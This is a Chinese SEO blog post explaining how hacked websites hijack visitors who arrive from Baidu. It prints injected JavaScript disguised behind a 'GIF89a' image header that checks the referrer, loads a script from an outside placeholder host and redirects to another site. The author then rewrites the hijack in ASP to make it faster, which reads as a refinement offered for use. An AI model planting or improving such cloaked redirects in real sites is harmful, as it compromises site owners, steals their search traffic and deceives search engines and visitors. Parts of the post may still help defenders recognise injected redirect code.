我發現最近現在許多敏感的關鍵詞都能出現在百度首頁,打開後立刻跳轉到另一個網站去,如果在浏覽器的地址欄裡輸入原網站的網址卻能浏覽這個正規網站。這就是網站被攻擊劫持了網站通過百度來的流量,谷歌不受影響。
一般通過以上手段來流量的有2種行為:
第一:正規站沒流量和排名,不敢用黑鏈和黑帽,做垃圾站通過黑鏈和黑帽技術把核心關鍵詞短時間做到百度首頁,通過跳轉到正規站來給正規站帶來流量,這是主動才做行為。
第二:一個正規站的關鍵詞排名在百度前面,這些正規網站權重比較高,排名也比較靠前,通過非法植入網站程序,讓搜索引擎來的流量跳轉到自己正規站上面,手動輸入則不會跳轉,然而蜘蛛也會抓取該非法網站,並且誤以為屬於這個正規網站,於是照常收錄,流量來的則是別人的正規站的流量,導致非法網站排名不斷提高。
GIF89a="";
var d=document.referrer;
if ((d.indexOf("%C6%F7")>0)||(d.indexOf("%C6%F7")>0)||(d.indexOf("%C6%F7")>0)){
document.writeln("<script src=http:\/\/www.xxx.xxx\/webpic\/W0200208\/brrt.gif><\/script>");
}
else{
window.location.href="index.asp"
}
以上這段代碼顯示通過HTTP Referrer來判斷用戶是從哪裡來的。如果是用戶手動輸入的,則打開網站原來的index.asp頁面;如果來自百度搜索,那就跳轉到另一個文件。
var d=document.referrer;
if (d.indexOf("%CC%FD")>0 ||d.indexOf("%C6%F7")>0) {
self.location=http://www.xxx.xxx/;
window.opener.location=http://www.xxx.xxx/
};
這個文件裡的代碼在做判斷,如果來自百度搜索結果,那就跳轉到非法網站去,否則就不做操作。
但是JS打開頁面,載入時,實在太慢,而且JS文件占帶寬。
現在考慮如果用ASP怎麼來判斷。
現在用asp 編寫。
<%
Dim from
from=Request.ServerVariables("HTTP_REFERER")
If from<>"" Then
Response.Redirect(http://www.xxx.xxx/list/index.html)
Response.End()
End If
%>
文章
本文地址:http://www.tseoo.com/seo/1433
版權所有 © 轉載時必須以鏈接形式注明作者和原始出處!